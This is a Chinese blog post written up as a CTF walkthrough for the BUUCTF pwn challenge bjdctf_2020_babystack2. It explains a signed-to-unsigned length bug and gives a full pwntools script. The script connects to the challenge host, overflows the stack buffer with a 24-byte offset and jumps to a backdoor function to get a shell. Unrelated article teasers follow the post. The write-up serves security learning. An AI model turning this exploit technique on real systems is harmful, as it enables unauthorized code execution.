news 2026/4/23 10:47:42

buuctf中的bjdctf_2020_babystack2

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的bjdctf_2020_babystack2

首先checksec检查一下保护机制:

-64位程序

-开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现read函数可触发栈溢出,并且从左边发现存在后门函数,但是read读取的长度受到nbytes这个变量的限制,发现这个变量的数据类型在下面被转化为unsigned int即无符号整数类型,当我们将-1转化为unsigned int类型时,会变成unsigned int的最大值,所以在上面我们只需要输入-1即可在下面触发栈溢出,这里顺便算出偏移量为:0x10+0x8 = 24

backdoor函数内部:

拿到backdoor函数地址:0x400726

然后编写exp攻击脚本:

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',28893) # 与在线环境交互。 backdoor = 0x400726 offset = 0x10 + 0x8 io.recvuntil(b'[+]Please input the length of your name:\n') io.sendline(b'-1') io.recvuntil(b'[+]What\'s u name?\n') payload = b'a'*offset + p64(backdoor) io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后手动输入cat flag即可

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 13:59:20

DeTikZify终极指南:如何用AI将手绘草图秒变专业LaTeX图表

DeTikZify终极指南:如何用AI将手绘草图秒变专业LaTeX图表 【免费下载链接】DeTikZify Synthesizing Graphics Programs for Scientific Figures and Sketches with TikZ 项目地址: https://gitcode.com/gh_mirrors/de/DeTikZify 还在为科研绘图耗费大量时间&…

作者头像 李华
网站建设 2026/4/18 4:22:47

Steam创意工坊模组下载终极指南:零基础轻松获取海量游戏资源

还在为无法下载Steam创意工坊的精彩模组而烦恼吗?无论你在哪个平台购买游戏,现在都能通过WorkshopDL这款强大的下载工具,轻松突破平台限制,畅享海量模组资源!本教程将带你从零开始,快速掌握Steam创意工坊模…

作者头像 李华
网站建设 2026/4/23 10:47:39

基于SpringBoot + Vue的校园在线考试系统

文章目录前言一、详细操作演示视频二、具体实现截图三、技术栈1.前端-Vue.js2.后端-SpringBoot3.数据库-MySQL4.系统架构-B/S四、系统测试1.系统测试概述2.系统功能测试3.系统测试结论五、项目代码参考六、数据库代码参考七、项目论文示例结语前言 💛博主介绍&#…

作者头像 李华
网站建设 2026/4/18 13:03:59

绝区零一条龙:3步实现游戏自动化,彻底告别手动刷图

还在为重复的日常任务消耗宝贵时间而烦恼吗?绝区零一条龙工具正是你需要的智能游戏助手。这款专为《绝区零》玩家设计的全自动辅助系统,能够帮你轻松完成各种重复性操作,让你专注于享受游戏的核心乐趣。 【免费下载链接】ZenlessZoneZero-One…

作者头像 李华
网站建设 2026/4/22 19:35:11

Obsidian PDF Plus终极指南:让PDF笔记从此高效

Obsidian PDF Plus终极指南:让PDF笔记从此高效 【免费下载链接】obsidian-pdf-plus An Obsidian.md plugin for annotating PDF files with highlights just by linking to text selection. It also adds many quality-of-life improvements to Obsidians built-in …

作者头像 李华
网站建设 2026/4/22 14:27:12

开源自动驾驶技术突破与2025产业格局重塑

在智能驾驶技术快速演进的当下,开源自动驾驶项目正通过系统性的技术路线图重新定义行业边界。基于对openpilot项目深度技术解析,本文将从核心技术架构、开源生态构建和产业影响三个维度,深入剖析2025年自动驾驶技术发展的关键路径。 【免费下…

作者头像 李华